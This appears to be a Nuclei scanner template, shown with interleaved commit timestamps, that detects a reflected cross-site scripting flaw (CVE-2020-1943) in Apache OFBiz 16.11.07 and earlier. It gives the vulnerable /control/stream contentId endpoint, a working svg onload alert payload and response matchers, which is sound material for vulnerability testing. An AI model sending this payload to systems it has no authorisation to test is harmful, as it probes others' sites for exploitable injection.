2021-01-09 14:45:11 +00:00
id : CVE-2020-1943
info :
2022-08-16 14:14:41 +00:00
name : Apache OFBiz <=16.11.07 - Cross-Site Scripting
2021-04-06 06:46:11 +00:00
author : pdteam
2021-01-09 14:45:11 +00:00
severity : medium
2022-08-16 14:14:41 +00:00
description : Apache OFBiz 16.11.01 to 16.11.07 is vulnerable to cross-site scripting because data sent with contentId to /control/stream is not sanitized.
2021-03-15 17:13:02 +00:00
reference :
- https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E
2022-05-17 09:18:12 +00:00
- https://s.apache.org/pr5u8
- https://lists.apache.org/thread.html/r034123f2767830169fd04c922afb22d2389de6e2faf3a083207202bc@%3Ccommits.ofbiz.apache.org%3E
- https://lists.apache.org/thread.html/r8efd5b62604d849ae2f93b2eb9ce0ce0356a4cf5812deed14030a757@%3Cdev.ofbiz.apache.org%3E
2022-08-16 14:14:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-1943
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-1943
cwe-id : CWE-79
2022-04-22 10:38:41 +00:00
tags : cve,cve2020,apache,xss,ofbiz
2021-01-09 14:45:11 +00:00
requests :
- method : GET
path :
2022-06-09 04:41:03 +00:00
- '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'
2021-01-09 14:45:11 +00:00
matchers-condition : and
matchers :
- type : word
words :
2022-06-09 04:41:03 +00:00
- "<svg/onload=alert(/xss/)>"
2021-01-09 14:45:11 +00:00
part : body
2021-01-11 06:44:22 +00:00
2021-01-09 14:45:11 +00:00
- type : word
words :
2021-01-11 06:44:22 +00:00
- "text/html"
2021-01-09 14:45:11 +00:00
part : header
2021-01-11 06:44:22 +00:00
- type : status
status :
2022-01-04 19:34:16 +00:00
- 200
2022-08-16 14:14:41 +00:00
# Enhanced by mp on 2022/08/14
